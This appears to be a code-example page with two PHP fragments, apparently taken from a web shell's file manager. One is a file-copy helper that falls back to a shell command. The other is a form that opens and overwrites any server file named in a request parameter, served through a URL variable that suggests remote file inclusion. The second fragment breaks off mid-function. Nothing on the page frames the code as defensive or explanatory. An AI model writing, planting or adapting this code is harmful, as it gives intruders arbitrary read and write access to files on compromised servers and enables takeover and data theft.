Exemple #1
0
function copiar_archivo($origen, $destino)
{
    return copy($origen, $destino) or ($archivo = leerarchivo($rutaOrigen)) !== false and escribirarchivo($rutaDestino, $archivo) !== false or shell("cp " . escapeshellarg($origen) . ' ' . escapeshellarg($destino), FALSE);
}
Exemple #2
0
 echo '<div style="text-align:center;">
 <a href="' . $rfiurl . '" class="sinsubrayado"><h1>' . $nombre . '</h1></a><br><br>
 </div>';
 $ruta = $_REQUEST["ruta"] . $_REQUEST["ruta2"];
 //mostramos el form para abrir archivos
 echo '
     <form action="' . $rfiurl . 'w=editar" method="POST" default="">
         <input style="width:80%;float:left;" type="text" name="ruta" value="' . htmlentities($ruta, ENT_QUOTES, 'UTF-8') . '">
         <input type="submit" value="Guardar" name="accion" style="width:7%;float:right;">
         <input type="submit" value="Abrir" name="accion" style="width:7%;float:right;">
     ';
 //escribimos el archivo
 if ($_POST["accion"] == "Guardar") {
     if ($ruta !== "" and isset($ruta)) {
         $contenido = $_POST["contenido"];
         $resultado = escribirarchivo($ruta, $contenido);
         if ($resultado === FALSE) {
             echo '<br><div class="n">Sin permisos de escritura o todas las funciones desactivadas</div>';
         }
     }
 }
 //leemos el archivo
 if (($archivo = leerarchivo($ruta)) !== FALSE) {
     $perm = permisos($ruta);
     //ponemos los colores de los permisos
     if (is_writable($ruta)) {
         $colorpermisos = "#8ABD22";
     } else {
         $colorpermisos = "#CD2626";
     }
     //mostramos el dueño del archivo